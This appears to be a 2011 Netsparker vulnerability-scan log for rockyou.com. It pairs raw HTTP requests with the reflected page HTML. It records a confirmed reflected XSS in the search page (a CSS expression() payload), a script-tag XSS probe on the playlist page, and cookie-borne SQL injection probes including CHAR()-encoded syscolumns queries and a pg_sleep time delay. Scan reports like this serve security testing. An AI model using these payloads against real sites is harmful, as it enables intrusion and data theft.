<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/browse.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/search.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class=""
style="background-image: url(/images/menu-bg.gif); background-repeat: repeat-x;"

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload=""
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="display:block;width:840px;height:68px;border:0px;position:relative;">

<a href="/index.php"><img src="/images/logo-menutop-rockyou.gif" alt=""></a>
<table cellpadding="1" cellspacing="0" style="position:absolute;top:0px;left:107px;"><tr>


<td style="font-size:15px"><a class="mainmenu" href="/choose_widget.php">Create</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/featuredartists.php">Browse</a></td>

</tr></table>

<img src="/images/index_tab.gif" style="position:absolute;top:0px;left:620px">
<div style="position:absolute;top:5px;left:630px;font-size:11px;font-family:arial;width:200px;text-align:center;">
<a href="http://www.rockyou.com/login/" style="color: white;">login / register</a> </div>
</div>

<div style="position:absolute;top:24;left:628;">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #6388c2"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</div>

<!-- TF 728x90 JScript NoAD code -->
<div style="width:850px;margin-bottom:10px;">
<div style='padding-left:60px;'>

<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>



<script>
function buttonHover(id) {
document.getElementById(id).style.backgroundColor = '#99aabb';
document.getElementById(id).style.color = '#ffffff';
document.getElementById(id).style.border = '1px solid #ffffff';
/*document.getElementById(id).style.borderRight = '1px solid #ffffff';*/
}

function buttonOut(id) {
document.getElementById(id).style.backgroundColor = '#E8EBF0';
document.getElementById(id).style.color = '#000000';
document.getElementById(id).style.border = '1px solid #99aabb';
}

/*onMouseOver="buttonHover(this.id);" onMouseOut="buttonOut(this.id);"*/

</script>



<div id="search_bar">
<ul id="menu">
<li id="selected">Slideshows</li>
<!--<li><a href='/search_people.php?q=\&#039; stYle=x:expre/**/ssion(netsparker(9)) ns=\&#039; &p=1'>People</a></li>!-->
</ul>
<div id="contents">
<form method='get'>
<table id="input_table">
<tr><td>
<input id="search_input" name="s_tsearch" type="text" value="\&#039; stYle=x:expre/**/ssion(netsparker(9)) ns=\&#039; " /></td>
<td><input id="search_button" value="Search" type="submit" /></td>
</tr></table>
</form>
</div>
</div>
<div id="search_res">
<table width='800' cellspacing=5 cellpadding=0 ><tr><td colspan='5'><tr><td colspan='1' align='left'><strong>1 - 20</strong></td>
<td colspan='3' align='center'><em class='curr_page'>Top Ranked</em> | <a href='?s_pindex=-20&s_sort=views&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>Most Viewed</a> | <a href='?s_pindex=-20&s_sort=date&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>Most Recent</a></td>
<td colspan='1' align='right'><em class='curr_page'>1</em><tr><td><br /><br /></td></tr></td></tr><td class='resultentrys' style='text-align:center;vertical-align:text-bottom;'><div class='imgwraps'><a href='/viewslideshow.php?instanceid=41826857&s_pindex=1&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '><img class='slidethumb' src='http://img156.rockyou.com/41/41826/41826857/41826857_6e20a7151161267112.JPG'></a></div><a href='/viewslideshow.php?instanceid=41826857&s_pindex=2&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>TAHNIAH KOPRAL MUHD ...<!--<br />
<img alt='Play Slideshow!' src='/images/lang/en/pllay.jpg' border='1' />--></a><br />
Views: 500&nbsp;<br /><br /><td class='resultentrys' style='text-align:center;vertical-align:text-bottom;'><div class='imgwraps'><a href='/viewslideshow.php?instanceid=46686943&s_pindex=2&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '><img class='slidethumb' src='http://img163.rockyou.com/46/46686/46686943/46686943_2a97e2f91165954728.jpg'></a></div><a href='/viewslideshow.php?instanceid=46686943&s_pindex=3&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>[No Title]<!--<br />
<img alt='Play Slideshow!' src='/images/lang/en/pllay.jpg' border='1' />--></a><br />
Views: 145&nbsp;<br /><br /><tr><td colspan='3' align='left'><strong>1 - 20</strong></td><td colspan='2' align='right'><em class='curr_page'>1</em></td></tr></table></div>

<div style='position: absolute; left: 850px; top: 0px; width: 160px;'>


<div style="border:1px solid #ccc;margin-top:70px;width:176px;height:236px;margin-bottom:10px;">
<div style="padding:8px;">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/AGE=/GENDER=/ -->

<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/" ' +
'width="160" height="220" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=SHOWMYGALLLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/aamsz=PM3/AGE=/GENDER=/-->
<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/aamsz=PM3/AGE=/GENDER=/" ' +
'width="180" height="288" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/aamsz=PM3/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/aamsz=PM3/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
<br />

<div id="googleAdUnitIframe_1"></div>
<HR>

<script type="text/javascript">
var googleAdIframeTable = [ ['googleAdUnitIframe_1', 3],
];
var googleAdClient = "pub-3255760518790512";
var googleAdChannel = "";
var googleAdSearchQueryString = "s_tsearch";
var googleAdFrameborder = '0';
var googleAdColorDiv = 'FFFFFF';
var googleAdColorBg = 'FFFFFF';
var googleAdColorLink = '0000CC';
var googleAdColorVLink = '0000CC';
var googleAdColorALink = '0000CC';
var googleAdColorText = '000000';
var googleAdColorAltText = '008000';
// The following parameter is optional:
var googleAdAlternateAdUrl = "";
</script>

<scr..
- /search_main.php

/search_main.php CONFIRMED

http://www.rockyou.com/search_main.php?lang=en&s_tsearch='%20stYle=x:expre/**/ssion(alert(9))%20ns='..

Parameters

Parameter Type Value
lang GET en
s_tsearch GET ' stYle=x:expre/**/ssion(alert(9)) ns='
p GET 1

Request

GET /search_main.php?lang=en&s_tsearch='%20stYle=x:expre/**/ssion(netsparker(9))%20ns='%20&p=1 HTTP/1.1
Referer: http://www.rockyou.com/search_main.php?s_tsearch=&p=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303167683; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29%7Cwww202.rockyou.com%7C%7C%27%2B+convert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%29+%2B%27%7Cwww202.rockyou.com%7C%7C%27AND+1%3D%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com%7C%7CNSFTW%7Cwww202.rockyou.com%7C%7C%27%2BNSFTW%2B%27%7Cwww202.rockyou.com%7C%7C3%7Cwww202.rockyou.com; pubtype=facebook; ultype=facebook; referralid=1%29%29%3BSELECT+pg_sleep%2825%29--; sns_type=rockyou.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 23:01:30 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 23:01:29 GMT; path=/; domain=.rockyou.com,lang=en; expires=Thu, 28-Apr-2011 23:01:30 GMT; path=/; domain=.rockyou.com,lastlogin=1303167690; expires=Wed, 27-Jul-2011 23:01:30 GMT; path=/; domain=.rockyou.com,sns_type=rockyou.com; expires=Mon, 25-Apr-2011 23:01:30 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=14742 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 5079
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/browse.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/search.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class=""
style="background-image: url(/images/menu-bg.gif); background-repeat: repeat-x;"

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload=""
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="display:block;width:840px;height:68px;border:0px;position:relative;">

<a href="/index.php"><img src="/images/logo-menutop-rockyou.gif" alt=""></a>
<table cellpadding="1" cellspacing="0" style="position:absolute;top:0px;left:107px;"><tr>


<td style="font-size:15px"><a class="mainmenu" href="/choose_widget.php">Create</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/my_stuff.php">My Stuff</a>&nbsp;|&nbsp;</td>
<td style="font-size:15px"><a class="mainmenu" href="/featuredartists.php">Browse</a></td>

</tr></table>

<img src="/images/index_tab.gif" style="position:absolute;top:0px;left:620px">
<div style="position:absolute;top:5px;left:630px;font-size:11px;font-family:arial;width:200px;text-align:center;">
<a href="http://www.rockyou.com/login/" style="color: white;">login / register</a> </div>
</div>

<div style="position:absolute;top:24;left:628;">
<form method="get" action="/search_main.php">
<table class="search" id="search_box"><tr><td>
<input type="text" name="s_tsearch" size=17 style="border:2px solid #6388c2"/></td>
<td><input type="submit" value="search" />
</td></tr></table> <input type="hidden" value="1" name="p" /></form>
</div>

<!-- TF 728x90 JScript NoAD code -->
<div style="width:850px;margin-bottom:10px;">
<div style='padding-left:60px;'>

<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>



<script>
function buttonHover(id) {
document.getElementById(id).style.backgroundColor = '#99aabb';
document.getElementById(id).style.color = '#ffffff';
document.getElementById(id).style.border = '1px solid #ffffff';
/*document.getElementById(id).style.borderRight = '1px solid #ffffff';*/
}

function buttonOut(id) {
document.getElementById(id).style.backgroundColor = '#E8EBF0';
document.getElementById(id).style.color = '#000000';
document.getElementById(id).style.border = '1px solid #99aabb';
}

/*onMouseOver="buttonHover(this.id);" onMouseOut="buttonOut(this.id);"*/

</script>



<div id="search_bar">
<ul id="menu">
<li id="selected">Slideshows</li>
<!--<li><a href='/search_people.php?q=\&#039; stYle=x:expre/**/ssion(netsparker(9)) ns=\&#039; &p=1'>People</a></li>!-->
</ul>
<div id="contents">
<form method='get'>
<table id="input_table">
<tr><td>
<input id="search_input" name="s_tsearch" type="text" value="\&#039; stYle=x:expre/**/ssion(netsparker(9)) ns=\&#039; " /></td>
<td><input id="search_button" value="Search" type="submit" /></td>
</tr></table>
</form>
</div>
</div>
<div id="search_res">
<table width='800' cellspacing=5 cellpadding=0 ><tr><td colspan='5'><tr><td colspan='1' align='left'><strong>1 - 20</strong></td>
<td colspan='3' align='center'><em class='curr_page'>Top Ranked</em> | <a href='?s_pindex=-20&s_sort=views&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>Most Viewed</a> | <a href='?s_pindex=-20&s_sort=date&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>Most Recent</a></td>
<td colspan='1' align='right'><em class='curr_page'>1</em><tr><td><br /><br /></td></tr></td></tr><td class='resultentrys' style='text-align:center;vertical-align:text-bottom;'><div class='imgwraps'><a href='/viewslideshow.php?instanceid=41826857&s_pindex=1&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '><img class='slidethumb' src='http://img156.rockyou.com/41/41826/41826857/41826857_6e20a7151161267112.JPG'></a></div><a href='/viewslideshow.php?instanceid=41826857&s_pindex=2&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>TAHNIAH KOPRAL MUHD ...<!--<br />
<img alt='Play Slideshow!' src='/images/lang/en/pllay.jpg' border='1' />--></a><br />
Views: 500&nbsp;<br /><br /><td class='resultentrys' style='text-align:center;vertical-align:text-bottom;'><div class='imgwraps'><a href='/viewslideshow.php?instanceid=46686943&s_pindex=2&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '><img class='slidethumb' src='http://img163.rockyou.com/46/46686/46686943/46686943_2a97e2f91165954728.jpg'></a></div><a href='/viewslideshow.php?instanceid=46686943&s_pindex=3&s_sort=rank&s_tsearch=' stYle=x:expre/**/ssion(netsparker(9)) ns=' '>[No Title]<!--<br />
<img alt='Play Slideshow!' src='/images/lang/en/pllay.jpg' border='1' />--></a><br />
Views: 145&nbsp;<br /><br /><tr><td colspan='3' align='left'><strong>1 - 20</strong></td><td colspan='2' align='right'><em class='curr_page'>1</em></td></tr></table></div>

<div style='position: absolute; left: 850px; top: 0px; width: 160px;'>


<div style="border:1px solid #ccc;margin-top:70px;width:176px;height:236px;margin-bottom:10px;">
<div style="padding:8px;">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/AGE=/GENDER=/ -->

<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/" ' +
'width="160" height="220" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/area=SHOWMYGALLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=SHOWMYGALLLERY/aamsz=PREMIUM_MODULE2/site=ROCKU/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div>
</div>
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/aamsz=PM3/AGE=/GENDER=/-->
<script language="javascript">

if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/aamsz=PM3/AGE=/GENDER=/" ' +
'width="180" height="288" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');

</script>

<noscript>
<a href="http://rocku.adbureau.net/adclick/aamsz=PM3/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/aamsz=PM3/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
<br />

<div id="googleAdUnitIframe_1"></div>
<HR>

<script type="text/javascript">
var googleAdIframeTable = [ ['googleAdUnitIframe_1', 3],
];
var googleAdClient = "pub-3255760518790512";
var googleAdChannel = "";
var googleAdSearchQueryString = "s_tsearch";
var googleAdFrameborder = '0';
var googleAdColorDiv = 'FFFFFF';
var googleAdColorBg = 'FFFFFF';
var googleAdColorLink = '0000CC';
var googleAdColorVLink = '0000CC';
var googleAdColorALink = '0000CC';
var googleAdColorText = '000000';
var googleAdColorAltText = '008000';
// The following parameter is optional:
var go..
- /slideshow-viewplaylist.php

/slideshow-viewplaylist.php

http://www.rockyou.com/slideshow-viewplaylist.php?lang=en&instanceid=117242930%00%27%22--%3E%3C%2Fst..

Parameters

Parameter Type Value
lang GET en
instanceid GET 117242930'"--></style></script><script>alert(0x001F33)</script>

Request

GET /slideshow-viewplaylist.php?lang=en&instanceid=117242930%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x001F33)%3C%2Fscript%3E HTTP/1.1
Referer: http://www.rockyou.com/slideshow-viewplaylist.php?instanceid=117242930
